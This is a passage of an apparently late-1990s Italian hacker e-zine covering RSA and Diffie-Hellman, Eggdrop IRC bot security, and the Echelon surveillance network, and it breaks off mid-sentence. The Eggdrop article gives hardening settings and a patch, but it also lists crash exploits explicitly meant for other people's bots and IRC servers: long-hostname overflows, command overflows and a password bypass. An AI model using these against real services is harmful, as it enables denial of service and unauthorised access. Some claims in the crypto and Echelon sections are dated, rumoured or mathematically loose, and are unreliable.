_unico_ scambio */ <------------ invia K a X K K^a mod P H^b mod P K^a mod P = CHIAVE = H^b mod P /* Tadaaaa! */ Una sorta di handshake, col vantaggio che un "terzo uomo nel mezzo" conosce P, puo' sniffare g, H e K ma per risalire alla CHIAVE deve ricavare "a" o "b" rispettivamente da H e K. Questo problema viene chiamato comunemente "problema del logaritmo discreto". Problema, questo, assai difficile da risolvere soprattutto se si usano numeri primi molto elevati [ vedi Appendice ] . ---RSA ( Rivest Shamir Adelmann ) Algoritmo introdotto lo stesso anno del [DH76] che ha avuto molta fortuna. Attualmente molto utilizzato worldwide, per esempio nel PGP, nel Netscape, solo per citarne due, molto piu' utilizzato di altri risalenti alla stessa "epoca" tipo El Gamal ( che nome fiiiigo ) oppure l'algo della curva ellittica. Procediamo! Il mittente ha bisogno di due chiavi: quella pubblica ( [E]ncyphering ) e quella privata ( [D]ecyphering ). --Come si generano queste chiavi? - si scelgono due numeri primi "p" e "q" molto grandi - p != q ( p diverso da q ) - n = p*q - f(n) = (p-1)*(q-1) - si sceglie "e" naturale intero minore di f(n) - (e,f(n)) = 1 cioe' devono essere primi tra loro - si calcola "d" l'inverso di "e" oppure lo si ricava da e*d=1mod(p-1)(q-1) Abbiamo cosi' ottenuto la coppia (n,e) che e' la chiave pubblica e "d" che e' la chiave privata. Schematizzando: - (n,e) chiave pubblica / Encyphering key - d chiave privata / Decyphering key A questo punto p,q,f(n) vanno distrutti, o comunque bisogna fare in modo che non si possa risalire a questi tre numeretti, quindi numeri assolutamente casuali. Accenno solamente al fatto che, numeri realmente casuali non esistono (almeno nel mondo dei calcolatori) e quelli di cui parliamo o di cui facciamo uso vengono definiti _pseudo casuali_ . Non si puo' calcolare d conoscendo solo "n" e "a", o meglio, lo si puo' fare ma bisognerebbe fattorializzare "n" per risalire a "p" e "q". Se "n" e' notevolmente grande, come ho gia' detto, e' una bella impresa sia perche' e' necessaria una potenza di calcolo inaudita e un tempo enorme ( assimilabile all'eta' dell'universo ;) ) sia perche' _non_ esistono algoritmi _pubblici_ capaci di fattorializzare qualsiasi numero primo. Forse qualche matematico assoldato da qualche governo sara' in grado :) ( Conspiracy is my bread :) ) Dopo questo mio strippo procediamo nel mostrare come si cifra: X Y e' in possesso di (n,e) di X con la quale cifra il testo "t" ottenendo C C = t^e mod n C <---------------- invia C decifra con "d" C t = C^d mod n Non eccessivamente complesso, ma geniale ! Questo tipo di algoritmi asimmetrici danno un livello di sicurezza veramente elevato, molto maggiore di uno simmetrico. Viene, infatti eliminato il rischio che venga sniffata la chiave. Pero' non sono "perfetti" . Diciamo che il problema fondamentale e' che, attualmente, sono troppo lenti per essere usati per cifrare grossi messaggi o stream di dati. Una soluzione "provvisoria" a questo problema e' quello di usare algoritmi asimmetrici insieme a quelli simmetrici che sono molto piu' veloci ( DES - BLOWFISH - IDEA ) e pratici. Sostanzialmente si usa l'RSA per scambiare le chiavi dell'algoritmo simmetrico. Questo tipo di implementazione viene usata in un gran numero di software e costituisce una buona soluzione per le smart card. Un altro possibile problema sarebbe quello dell'autenticazione. Chi mi garantisce che la chiave pubblica che sto usando e' realmente della persona a cui sto scrivendo? Beh... diciamo che questo problema si puo' aggirare abbastanza agevolmente "firmando" le chiavi, anche con lo stesso RSA... ma questo e' un altro discorso :) --- Appendice Abbiamo parlato di numeri primi molto grandi. Ma grandi quanto? Attualmente ( Maggio / Giugno ) la chiave piu' piccola consigliata dai laboratori RSA e' di 768/1024 bit. Perche' chiavi di questa grandezza? Perche' il 3 Maggio, all'Eurocrypt '99 tenutosi a Praga, Shamir ha annuciato di aver proggettato un device opto-elettronico chiamato TWINKLE: "The Weizmann INstitute Key Locating Engine" ( Weizmann Institute in Israele dove Shamir "opera" ;) ) potente quanto 100/1000 PC nel processo di fattorizzazione di numeri primo definito " sieving " ( una sorta di setaccio ). Questi chippettini che in quantita' costerebbero circa 5000$ l'uno, lavorerebbero, secondo il comunicato degli RSAlabs, alla folle velocita' di 10GHz ( w000h0w! ) e sarebbero in grado di crackare una chiave di 512 bit in 5/6 settimane, se usati in numero ed in parallelo. Per crackare una chiave di 768 bit servirebbe 6000 volte questo tempo. ---Url Ovviamente riguardo la crittografia esistono migliaia di siti che andrebbero visitati, non li sto ad elencare, comunque un buon punto di partenza e' www.rsa.com dove troverete una descrizione piu' dettagliata del TWINKLE e del sieve process. del0rean Big Propz to : Orda people!, my s0ftpj peeps, bELFaghor : pheeeer this one! :P ----------------------------------[ EGGDR0P ]--------------------------------- -----------------------------------[ JoKeR ]---------------------------------- Bella li', raga e io che ci sto a fare qua? Neanch'io lo so bene, in ogni caso vi tocca subirvi questo mio articolo (ke kulo). Bene comincio subito a dirvi che non si trattera' di un articolo riguardante h/p/c/v (aho leva il dito dal PgDn), ma visto che quasi tutti noi passiamo ore su IRC mi e' sembrato giusto parlavi un poco dei BOT. Mentre riscrivo questo pezzo decine di volte, sara' per il caldo, sara' che sono il cibo preferito delle zanzare, sono passato a fare un salto sulla rete a girovagare un poco fino a quando mi sono soffermato su un sito casuale (NO non si tratta di un sito porno) che mi ha fatto prima pensare e poi sorridere parecchio, il cui titolo cita: 'What is an IRC bot?' Il testo (tradotto) che segue dice piu' o meno cosi'.. "Un IRC bot e' un programma che risiede in un canale IRC e lo tiene aperto, ventiquattro ore al giorno. Il bot assomiglia ad un normale utente che partecipa nel canale, pero' normalmente rimane 'idle' fintanto che non viene chiamato ad eseguire una funzione particolare. Un bot contribuisce in maniera considerevole alla stabilita' del canale, proteggendo da takeovers e da abusi, e provvede a servire le funzioni come op/deop , kick/ban e molti altri ancora ai suoi utenti registrati. Essi sono particolarmente efficaci sui networks sui quali non esiste la possibilita' di registrare il canale, come ad esempio EFnet o IRCnet..." Continua citando vari tipi di bots come Acidblood, Combot, EnergyMech, IncuBot, Hackbot, VladBot.. indicando che ve ne e' uno che sopravvive nel tempo: l'Eggdrop. Quello che inizialmente mi ha fatto sorridere di questa cosa e' quanto oggi concettualmente i bots siano cambiati: questo e' dovuto essenzialmente all'IRCwar. Oggi e' impensabile che un bot come viene descritto sopra possa semplicemente eseguire le sue brave funzioncine, sembra allucinante ma come le cose stanno andando ai tempi nostri, un bot per poter servire i suoi utenti e tenere vivo il canale deve sapere dapprima proteggere se stesso. Fintanto che un bot non e' protetto e sufficientemente stabile non sara' di nessun aiuto ne' a voi ne' ai vostri amici e nemmeno al canale. Pertanto sorgono spontanee le domande "come proteggo il mio bot?", "come rendo il mio bot piu' sicuro?" Innanzitutto, esperienza insegna, la prima cosa che occorre ancor prima di settare il vostro bot e quello di possedere una shell stabile (maddai?) :DD Premesso questo (che non e' poco) addentrandoci un poco a conoscere il bot, e piu' specificamente vi parlero' dell'eggdrop. La fortuna di questo bot nato nel dicembre del lontano 1993 risiede essenzialmente in due fattori: primo e' scritto interamente in C rendendolo veloce e robusto, secondo ha il grande pregio di supportare il linguaggio TCL che rende facile la creazione di scripts che gli si vanno ad aggiungere per migliorarne l'efficenza. Di versioni dell'eggdrop ne esistono parecchie, le piu' gettonate sono la 1.0p che e' indubbiamente molto vecchia, ma dicono non sia hakkabile (non faccio commenti in merito). La 1.1.5 forse e' la piu' conosciuta in assoluto, ma non e' essente da bachi e non e' nemmeno la piu' sicura, il suo punto forte e' stato il forte sviluppo di patch e script TCL scritte per la maggior parte da crew. La 1.2.0 era il compimento di tutti gli sforzi fatti fino ad allora fixando la maggior parte dei bug ed exploit trovati fino alla versione precedente. Secondo me la 1.2.0 e' stata sottovalutata ai suoi tempi, gia' si notava come la pigrizia di chi aveva grosse botnet non se la sentiva di cambiare tutto nuovamente. Ricordiamoci che pure per l'eggdrop va considerato il fatto che le versioni dispari sono beta. Infine esiste la serie 1.3.xx, che e' quella in attuale sviluppo, giungendo fino ad oggi alla versione 1.3.27 (e' anche l'unica versione supportata). Bisogna brevemente dire che non e' sempre stato lo stesso team a sviluppare l'eggdrop, il suo inventore Robey Pointer lo ha portato fino alla versione 1.0, poi evidentemente appagato del suo lavoro ha pensato bene di smettere. Successivamente un nuovo team capitanato da Beldin e Raistlin ha portato il suo sviluppo fino alla versione 1.3.23. Poi per varie storie che ora non sto a spiegarvi c'e' stata una rottura e stanno comunque attualmente lavorando ad un nuovo progetto sotto il nome di eggdrop 2.0 (prima del suo rilascio il nome verra' sicuramente cambiato), questo nuovo 'eggdrop' e' scritto interamente in C++ e per quanto mi rigurda dalle versioni alpha/beta che ho tentato di provare non ve ne e' stata una sola che sono riuscito a compilare interamente con successo. Non posso quindi dirvi nulla nello stato attuale in merito. Infine un nuovo team di sviluppo indipendente, per la maggior parte formato da persone provenienti dalla mailing list dell'eggdrop sta attualmente portando avanti il suo sviluppo, inserendo diverse nuove features che erano richieste a gran voce da diverso tempo dai suoi utilizzatori. L'intenzione del nuovo team e' di portare l'eggdrop entro l'anno a rilasciare la versione 1.4.0 stabile, ma non prima di aver corretto e aggiunto tutto quello che si sono prefissati. Anch'io ho iniziato a collaborare dando una mano al nuovo team di sviluppo (chissa' che un giorno potreste ritrovarvi con il primo eggdrop completamente o quasi tradotto in italiano) ad ogni modo reputo quest'ultima serie la migliore attualmente in circolazione, e ricordiamoci che un prodotto non piu' in sviluppo e supportato e' da considerarsi morto. Forse non vi ho ancora detto dove poter reperire un'eggdrop, ma la cosa e' piuttosto elementare... se non l'avete gia' potete trovarlo su www.eggheads.org oppure se preferite un ftp, ftp.tcslave.net/pub/eggdrop. Diamo ora un breve sguardo a come configurare un eggdrop, mi limitero' a dirvi l'essenziale, e mi basero' sull'ultima versione dell'eggdrop la 1.3.27 quella che attualmente utilizzo. E' indispensabile che leggiate almeno una volta il file eggdrop.conf.dist per potervi creare la vostra configurazione piu' adatta alle vostre esigenze. Non staro' qui a spiegarvi passo per passo ogni settaggio, ma mi limitero' a consigliarvi alcune delle opzioni da attivare o disattivare che reputo indispensabili per quanto riguarda la sicurezza, per il resto potete sbizzarrivi come meglio credete. 0 = disattivo 1 = attivo set protect-telnet 1 Attivando questo parametro tutti i collegamenti telnet che non provengono da un host registrato vengono automaticamente scartati. set open telnets 0 Se lo si attiva ogni utente tramite telnet puo' registrarsi al bot. (lo escludiamo che ne dite?? :D) set owner "" All'interno delle "" ci mettete i nick degli owners permanenti (di solito oltre al vostro nick si aggiungono le persone che hanno accesso alla shell se l'avete in comune). set must-be-owner 2 Qui ci sono 3 possibilita': con 0 non fa nulla, con 1 da l'accesso solo agli owner permanenti i comandi .tcl/.set, con 2 in piu' si limita anche il comando .dump I comandi .tcl e .set in passato per non renderli utilizzabili ad esterni si unbindavano e ne venivano bindati altri, solitamente cambiando il livello o semplicemente rinominando il comando. Essendo questi i commandi fra i piu' potenti e pericolosi e bene fare in modo che vi abbia accesso il minor numero di persone. La maggior parte degli exploit per guadagnare l'owner del bot passavano attraverso questi comandi. Ve ne e' un un'altro che non e' stato inserito fra i comandi che si possono limitare solo ai permanenti (pure questo ha contribuito a exploitare il livello di owner). Lo unbindiamo quindi a mano: unbind dcc n simul *dcc:simul Nel prossimo numero vi faro' vedere qualche esempio di come si puo' abusare di questi comandi per exploitare un eggdrop. set learn-users 0 Vi ricordate il famoso /msg botnick hello e vi ritrovate aggiunti al bot? Ecco questo e' quello che capita se lo attivate. (non scherziamo :-)) Le seguenti impostazioni sono molto importanti se volete sharare l'userfile della vostra botnet. set private-global 0 Se lo attivate il bot non accettera' nessuna flag globale dagli altri bots. (consiglio di non attivarla la spiegazione in merito la trovate nel comando seguente) set private-globals "" All'interno delle "" ci mettete le flag globali che non volete che il bot accetti dal resto della botnet Una piccola spiegazione in merito ai 2 esempi sopra, il primo esempio si parifica mettendo nel secondo caso "mnot", ma se nessun bot riceve le flag globali a cosa vale sharargli? Io vi consiglio di porre i limiti solamente all'vostro hub affinche' non accetti master/owner dagli altri bot, per la flag di op sta a voi decidere se limitarla o meno. set private-user 0 Se attivate questo flag il bot non accettero' nessun cambiamento all'userfile da parte degli altri bots. Il che significa che si e' costretti a fare ogni cambiamento espressamente dal hub bot. (Che succede se l'hub e' down?). Personalmente non lo consiglio. Questo era l'essenziale per quanto concerne la sicurezza del vostro file di configurazione affinche' non vi ritrovate immediatamente con il bot hakkato. Ovviamente non basta semplicemente editare il file di config, sono ampiamente consigliati l'aggiunta di una o piu' tcl. Ve ne sono piu' di 3000 pubbliche in giro che potete trovare nei vari siti di eggdrop, ve ne segnalo comunque un paio che ritengo siano ottime e che da sole sono complete di tutto quello che occorre e molto piu'. http://www.egghelp.org/ qua troverete la netbots.tcl creata da Slennox (che suona un po come Nelloz). L'altra la trovate qua: http://eggdrops.com/~kungfo0/ anche Kungfo0 ha realizzato una tcl completa di tutto anche se in maniera piu' complessa, ma ha delle features uniche che in altre non troverete (qui pero' ho trovato un paio di bugs). Forse vi chiederete che cosa uso io? Beh innazitutto devo dirvi che ho provato di tutto in passato, sperimentando tutto quello che mi sembrava carino, miscelando piu' soluzioni possibili (ho preso diversi spunti anche dalle TCL dei due autori che vi ho segnalato prima). In ogni caso attualmente sto usando una tcl realizzata da me, basata su di un'altra ancora ideata da un vero e proprio guru, una mente diabolica che si trova su efnet, dopo averlo contattato via email, e avergli notificato alcuni bug/correttivi e qualche miglioria che avevo apportato alla sua tcl, lui mi ha contattato, e da allora sviluppiamo la tcl in contemporanea con delle piccole varianti, lui, decisamente piu' kattivo, propende ad aumentarne il suo potenziale distruttivo portandosi all'estremo con features di hacking e cracking come ad esempio una funzione che provvede a hakkare la password degli ircop, vi posso assicurare che ne ha trovate diverse, mentre io d'altro canto molto piu' propenso alla difesa ho aggiunto alcune protezioni per il canale, il cuore comunque e' identico e per quanto riguarda la sicurezza ci siamo spinti molto avanti. Non vi ho detto il suo nome, per ovvi motivi, comunque vedro' di pubblicare qualcosa riguardante la mia TCL sul prossimo numero, visto che probabilmente vi ho stuzzicato un poco al riguardo. Dopo aver dato una breve panoramica sull'eggdrop, vediamo ora invece se riusciamo a crashare quelli degli altri.. =DDD Cominciamo col dire che i bot di oggi non sono piu' exploitabili dall'esterno: occorre come minimo essere aggiunti al bot stesso, oppurre si preferisce bukare la shella su cui risiedono. Vediamo comunque un paio di exploit che funzionano se il bot non e' prontamente patchato. Il primo funziona sugli eggdrop serie 1.1.5 (fonte rootshell). Telnettate con un host piu' lungo di 125 caratteri (createvi un bel vhost) alla porta host del bot e lo vedrete sparire dopo pochi istanti. :DD esempio: telnet connection from: die.lame.eggdrop.piece.of.shit.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE. DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE. DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE.DIE. .DIE.edu questo e' il suo risultato: [02:29] * Last context: dcc.c/791 [02:29] * Wrote DEBUG [02:29] * SEGMENT VIOLATION -- CRASHING! Vi riporto il patch per ovviare a questo problema, basta applicarlo al vostro eggdrop 1.1.5: +*/ + #if HAVE_CONFIG_H #include #endif @@ -509,7 +523,15 @@ sprintf(s, "%u.%u.%u.%u", p[0], p[1], p[2], p[3]); return s; } - strcpy(s, hp->h_name); + if (strlen(hp->h_name) > 119) + { + strncpy(s, hp->h_name, 120); + putlog(LOG_ALL, "*", "eggdrop 1.1.5 kill detected from %s", hp->h_name); + } + else + { + strcpy(s, hp->h_name); + } return s; } Ora vediamo come affondare un eggdrop 1.3.xx, questi bug affliggono tutta la serie 1.3.xx e pure alcune versione addietro fino alla 1.3.17 compresa, poi succesivamente sono stati fixxati (sono tutte info che si possono reperire sulla rete). 1. bot handshake Quando 2 bots nella botnet iniziano a linkarsi tra di loro si mandano il numero di versione, la cosa e' vista cosi': version 1031700 9 [piu' qualche testo futile] Ora se uno dei bot manda: version 1031700 9 diverse volte il bot provoca dei segfaults error e cade per buffer overrun. 2. user command overflows: Se fate diverse .note con @dummy il bot cade per segfault. Il @dummy e' importante perche' se non lo mettete verra' richiamata un'altra routine al suo posto. 3. the ignore command series (.+ignore,.ignore,.-ignore) Qui ci sono un pacco di overflows.. ignore con un host lungo, unignore host lungo, list ignore lungo etcc.. 4. .+ban .-ban 5. Questo e' carino... e' un exploit che pero' funziona solo localmente $ export HOSTNAME=3D"your.real.host.name 1024 at least)>" $ ./eggdrop config.file Segmentation Fault 6. .jump irc.bla.org 6667 7. Se un utente ha una password ripetitiva ad esempio "abcabc" si puo' usare "abc" come pass per loggare nel bot, quindi un "a" puo' essere usata come pass al posto di "aaaaaa"... Ho trovato anche un exploit recente per sekkare dei piccoli/medi server IRC (a dipendenza anche da che software e che versione usano). E' molto simile a quello per l'eggdrop 1.1.5: vi collegate al server IRC con un lungo hostname (almeno 130+ caratteri), e dovrebbe cadere rapidamente per buffer overflow :)) E con questo per ora e' tutto (era ora hehe). Essendo questo il mio primo articolo (e forse non l'ultimo, ke sfiga avete) voglio ringraziare alcune persone. Innanzitutto ringrazio SMaster per avermi dato l'opportunita' di fare questa cosa. Ringrazio Zaltec, se non ti avessi conosciuto oggi non mi leggeresti qui :)) Ringrazio i genitori di PhoenYx per avercelo messo al mondo. Ringrazio Nelloz un giorno ti umiliaro' a Q3 stanne certo. Ringrazio Tsunami la quale dimostra che nel nostro ambiente non ci sono gli uomini. Ringrazio Budah perche' adoro le piramidi :DD Ringrazio tutti gli altri fratelli delle BadLands che non ho potuto menzionare per motivi di spazio :D Voglio fare un ringraziamento speciale alla Microsoft e a tutti i lamers perche' hanno reso utile la nostra esistenza. La microsoft per averci dimostrato come NON si programma un OS, i lamers perche' ci rendono meno noiose le giornate dandoci un motivo di sfogo. Ringrazio infine Linus Torvalds che ha fatto tutto quello che non ha saputo fare la MS fornendo il tutto gratuitamente. Infine saluto tutti gli Avatar augurando loro di potere accendere una nuova fiamma nelle tenebre che ci circondano. Se avete qualche appunto, chiarimento o insulto da farmi sapete dove trovarmi :-)) Operatore dammi un uscita, remember Matrix is everywhere and is watching you all! [-JoKeR-] ----------------------------------[ ECHEL0N ]--------------------------------- -----------------------------------[ DoLD ]----------------------------------- Questo articolo e' dedicato a chi ancora riesce a pensare con il proprio cervello e non con quello del vicino di banco... Death Of Little Dreamer INDICE: -Prefazione -Un pochino di storia -Ma come, sulla mia cartina geografica non c'e'! -Ma come diavolo funziona 'sto coso? -Sviluppi futuri -Link -Bonus Track: Ma siamo poi cosi' anonimi? -Prefazione: Ormai e' sulla bocca di tutti, molti ne parlano come una strana fantasia di uno scrittore tipo Gibson o Sterling tanto per capirci mentre altri lo prendono un pochino piu' sul serio tanto da istituire pure una commissione di inchiesta. Se ancora non sapete cos'e', come e' fatto e "dove risiede" continuate a leggere, altrimenti se siete di quelli che sono andati su hotbot, yahoo e altavista e hanno cercato la parola echelon leggendo ogni link che appariva saltate pure questo articolo e dedicatevi al prossimo perche' non ci troverete segreti militari che gia non avete scoperto... -Un pochino di storia: Nel 1947 (alcuni dicono '48) alcune nazioni molto vogliose di informazioni, istituirono un patto fra di loro chiamato Ukusa Security Agreement, ovvero una collaborazione fra nazioni per il controllo globale di ogni tipo di informazione (sintetizzo molto se volete saperne di piu' linkatevi agli url in fondo all'articolo). Le 5 nazioni che fanno parte di questa "oscura" (anche se ormai non penso sia piu' il caso di chiamarla cosi') cospirazione sono: STATO ORGANO INTERESSATO Usa NSA (http://www.nsa.gov:8080/) Gran Bretagna GCHQ (http://www.gchq.gov.uk/) Canada CSE (http://www.cse.dnd.ca/) Australia DSD (http://www.dsd.gov.au/) Nuova Zelanda GCSB (htt://???) * La Nuova Zelanda e' entrata a far parte del patto "solo" nel 1989. Per chi non conoscesse le sigle: N.S.A. -> National Security Agency G.C.H.Q. -> Government Communications Head Quarter C.S.E. -> Communications Security Establishment D.S.D. -> Defense Signals Directorate G.C.S.B. -> Government Communications Security Bureau -Ma come, sulla mia cartina geografica non c'e'! Il sistema denominato Echelon per svolgere in piena regola il suo lavoro si e' dovuto appoggiare a diverse basi a terra per la raccolta dei dati provenienti dai satelliti che coprono il globo. Le basi in questione sono: -base inglese di Morwenstow, a 115km ad est da Exeter in Cornovaglia; -base americana di Sugar Grove, a 250km sud-ovest di Washington; -base americana nel poligono di Yakima Firing Center a 200km a sud-ovest di Seattle; -base neozelandese di Waihopai; -base australiana di Geraldton; Queste cinque basi intercettano TUTTE le comunicazioni provenienti dai 25 satelliti IntelSat che orbitano sopra al nostro cranio all'altezza dell'equatore. Oltre a queste cinque basi ve ne sono altre cinque che puntano a satelliti per comunicazioni che non siano IntelSat e sono: -base inglese di Menwith Hill -base australiana di Shoal Bay -base canadese di Leitrim -base tedesca di Bad Aibling -base giapponese di Misawa Inoltre pare che vi siano una serie di strutture nelle principali citta' di ogni paese create appositamente per intercettare, analizzare e catalogare tutte le telefonate, messaggi elettronici, fax o telex che viaggiano su rete normale e non attraverso satellite. -Ma come diavolo funziona 'sto coso? Tanto per fare una piccola premessa vorrei dire che Echelon, al contrario di quello che pensano in molti, NON e' stato costruito per scopi militari. Echelon e' stato progettato per intercettare indiscriminatamente le telefonate dei diplomatici in visita in un Paese o quelle della casalinga disoccupata. Echelon non e' una singola entita' ne' un megacomputer di cui ancora non sappiamo niente; le informazioni che circolano su giornali ed in rete sono tratte, a quanto pare, da alcune interviste che agenti del GCSB NeoZelandese hanno rilasciato giustificandole dal fatto che ormai era troppo tempo che la cosa veniva tenuta all'oscuro e da diversi documenti rinvenuti all'interno della base inglese di Menwith Hill dopo la sua chiusura. Comunque siano andate le cose, che quella che hanno detto sia stata la verita' o meno, sta di fatto che diverse persone credono che un apparato del genere non solo sia realizzabile, ma sia gia' utilizzato da diversi anni dai nuclei dei servizi segreti delle 5 nazioni scritte sopra. Echelon, per entrare piu' nel dettaglio e' costituito da 3 sezioni fondamentali senza le quali tutto il sistema non potrebbe svolgere le funzionalita' per cui e' stato costruito: 1) sistema di basi a terra per intercettare i segnali provenienti dai 25 satelliti IntelSat orbitati sull'equatore; 2) sistema di basi a terra per intercettare i segnali provenienti da satelliti NON IntelSat per quanto riguarda comunicazioni Russe, Giapponesi, ecc. 3) sistema di intercettazione su comunicazioni nazionali non basate sui satelliti. Per darvi un chiarimento ulteriore sul primo punto vi diro' dove diavolo puntano le parabole delle 5 basi principali che ho descritto sopra: - la base inglese di Morwenstow ha il compito di monitorare ed intercettare tutte le comunicazioni in transito sull'Europa (dico su perche' mi riferisco ai satelliti) - la base americana di Sugar Grove invece controlla tutte le comunicazioni effettuate nel nord e sud America sul lato dell'oceano Atlantico. - la base nel poligono di Yakima Firing Center copre invece la parte sull'oceano Pacifico - tutto quello che la base di TFC non riesce ad intercettare viene acquisito dalle basi neozelandese e australiana. Quando parlo di comunicazioni da intercettare mi riferisco a: - telefonate (anche se non tutti gli apparati sono in grado di sostenere tale mole di lavoro, vedi ad esempio la base del GCSB che intercetta "solo" fax, e-mail e telex) - fax - e-mail - telex Ogni base ha un nome associato ad un codice che la contraddistingue dalle altre; questo per ovvi motivi di catalogazione. Il codice viene associato al messaggio intercettato per poter dare ai decrittatori o chiunque altro, la possibilita' di capire da quale parte del mondo provenisse la chiamata intercettata e dove era diretta. Inoltre viene associato un codice di 4 cifre per rendere la catalogazione e la successiva analisi piu' semplice possibile. In un documento che ho reperito in rete c'era questo esempio: "...il codice 1911, per esempio, sta per comunicato diplomatico Giapponese dal Latinoamerica (raccolto dal CSE canadese) oppure 3848 sta per comunicazioni politiche da e per la Nigeria e per finire 8182 riguarda qualsiasi messaggio riguardante tecnologie di crittografia..." Ogni stazione di monitoraggio ha accesso alla rete di Echelon solo in maniera limitata mentre la NSA puo' accedere (in quanto Echelon e' una sua creazione) all'intera rete di informazioni. Un po' come se le stazioni secondarie fossero utenti normali di un sistema linux e la NSA fosse il root. Definirei quindi tre tipi di stazioni: primarie, secondarie, altre. 1) primarie -> NSA; 2) secondarie -> GCHQ, CSE, DSD, GCSB (ovvero le altre 4 nazioni); 3) altre -> tutti gli altri apparati segreti che sono a conoscenza dell'esistenza di Echelon, ma che non possono sfruttarlo perche' non rientrano nelle prime due categorie (potrei citare l'Italia fra queste, spero solo che il sismi non si incazzi per quest'affermazione :)) Ogni computer che la stazione possiede viene chiamato 'Dizionario' poiche' e' colui che dovra' cercare fra le migliaia di parole quelle chiavi di ricerca che sono state inserite per quel giorno di lavoro. Ogni dizionario e' collegato a grandi database dei vari centri di elaborazione degli altri paesi attraverso una linea criptata per poterci riversare dentro tutta la mole di dati acquisiti minuto per minuto, ora per ora. Le varie agenzie di ogni Paese, inseriscono dalle 10 alle 50 parole chiave (e per parole chiave intendo nomi di persona, numeri di telex o fax, e-mail, nomi di organizzazioni, di Paesi o altro ancora) per poter cercare e filtrare l'ago nel pagliaio dei dati. Quando un messaggio e' ritenuto interessante, viene catalogato ovvero vengono registrate ora e data di intercettazione, luogo di provenienza e di destinazione della chiamata o del fax o dell'e-mail e alla fine del messaggio viene copia-incollato il famoso numero a 4 cifre. Successivamente viene analizzato e/o decrittato (se in codice) e passato al vaglio per capire se possa essere o meno interessante. Una mia considerazione personale va sul fatto che la NSA gestisce TUTTA la rete di informazioni di Echelon e quindi capirete benissimo anche voi di quante risorse dispone (e parlo di risorse in termini di informazioni - perche', si sa, le informazioni sono potere). -Sviluppi futuri In giro gia' si sentono alcune voci su un possibile Echelon2 - la vendetta. Secondo il mio parere sono voci di corridoio e in quanto tali sta solo a voi crederci o meno. Personalmente ritengo che se proprio dovessero erigere un'altra infrastruttura come Echelon non lo verrebbero certo a riferire: intervistatore: "ma e' vero che state per uscire con la versione 2.0?" sig. echelon: "si' certo, e' piu' potente di quelle precedenti, maggiore affidabilita' e non crasha piu' il sistema da quando abbiamo sostituito quei noiosi windows98 ;))" Il discorso e' che noi siamo continuamente sotto controllo, non serve avere un Echelon 2 per capire che alcune persone fanno dei nostri dati personali un po' quello che vogliono. -Links Dai link elencati sotto sono tratte la maggior parte delle informazioni contenute in questo articolo: http://www.europarl.eu.int/dg4/stoa/en/default.htm http://www.tmcrew.org/privacy/caq/sorvegli.htm http://www.tmcrew.org/privacy/STOA.htm http://civilliberty.tqn.com/msubpech.htm http://www.disinfo.com/ci/dirty/ci_dirty_projectechelon.html http://jya.com/stoa-atpc.htm Inoltre posso elencare 2 giornali dai quali ho preso la restante parte di info: "Il Mondo" di Venerdi' 20 marzo 1998 n.12 "InternetNews" anno V n.5 maggio 1999 -Bonus Track: Ma siamo poi cosi' anonimi? Questa parte di articolo l'ho scritta per 2 fondamentali motivi: 1) Per aumentare i kb di questo numero in modo da rendervi piu' difficoltoso il download >:)))))) 2) Per concludere "in bellezza" questo articoletto sulla privacy et simili. L'anonimita' e' un sacrosanto diritto quando si circola in rete... soprattutto quando si frequentano certi canali o si visitano siti di hacking, phreaking o altro (non mi riferisco alla pedofilia... che possa crepare con tutti quelli che hanno contribuito a crearla). Pensate veramente di essere cosi' invisibili quando andate su www.playboy.com? Il discorso e' molto semplice: Non mi voglio dilungare in particolari tecnici perche' altrimenti ne salterebbe fuori un altro articolo e voi poi vi incazzereste con me perche' avete impiegato tempo in piu' sulla bolletta telefonica di casa. Nessun dato sul proprio computer e' sicuro se si viaggia in Rete: dai cookies ai Javascript (mi piacerebbe sapere chi di voi li ha disabilitati non appena ha installato Netscape come il sottoscritto per poi incazzarsi se un sito li richiede altrimenti non va avanti vedi www.netaddress.usa.net). Ma non solo Internet. Altri esempi? 1) Bancomat e/o carte di credito; 2) Cellulare; 3) Autostrade; 4) Pay per view; 5) Phone banking; 6) Memotel Telecom; 7) Telecamere varie. 1) Pensate che usando il bancomat o la carta di credito siate al sicuro? Credete che la macchinetta nella quale la gentile commessa passa la vostra preziosa carta di platino che il papa' vi ha appena concesso, non sia altro che un ammasso di circuiti e faccia solo 2 chiacchere con la vostra tessera? Credete che agli sportelli di bancomat quando tirate giu i soldi se richiedete lo scontrino la banca non segni cosa avete tirato giu dal vostro conto? Se credete a tutte queste cose: a) Sarete fottuti prima o poi nella vita da qualcuno piu' furbo di voi (e credetemi, non manca molto a quel momento); b) Vedi "a" ma avete un pakko di soldi e ve ne sbattete. Ogni volta che usate la carta di credito che sia per pagare un conto o che sia per tirare giu' dei soldi per andare a prendere il regalo alla vostra donna, lasciate una traccia. La banca sa ESATTAMENTE da quale sportello vengono tirati giu' i soldi, quanti ne avete tirati giu' (ma vah? :)) e in che giorno, ora, minuto, secondo lo avete fatto inoltre se non ci avete mai fatto caso prima di arrivare al bancomat passate quasi sicuramente sotto l'occhio vigile di una telecamera... 2) Cellulare sicuro? I GSM non sono clonabili? Un professore americano lo ha fatto gia diverso tempo fa... Un buon paio di anni fa forse i cellulari erano difficili da intercettare, ma con il passare del tempo la tecnologia si evolve e le scoperte affiorano a galla come cadaveri (o merde, scegliete l'esempio che vi piace di piu'). Oggi come oggi penso che non esista un mezzo di comunicazione sicuro a meno che non si usino linee criptate, scramble ecc ecc. L'altro giorno ho visto uno scramble digitale che cambiava la parola chiave con cui criptate la chiamata ogni 10 secondi di conversazione; ve lo consiglio se siete paranoici e avete una decina di milioni da spendere :) (chiaramente ne dovete acquistare due, uno per voi e uno per chi deve ricevere le chiamate criptate; averne uno solo serve a poco non credete?). Qualcuno dice addirittura che alla telecom & omnitel abbiano una stampante che puo' registrare una telefonata dal vivo parola per parola... Due piccole note per i cellulari: a) si dice, voce non confermata (ci mancherebbe) che se avete il cellulare acceso i gestori, tramite alta tecnologia, riescano a far funzionare il vostro telefonino come microfono panoramico... ovvero possono ascoltare le conversazioni intorno a voi purche' abbiate acceso il telefono. b) qualche tempo fa su un giornale o da qualche altra parte ho letto di un tizio incastrato dalla polizia che aveva tracciato la sua posizione attraverso il cellulare, spiego meglio: - il ragazzo aveva detto di essere nel posto A alle ore tot. I poliziotti hanno 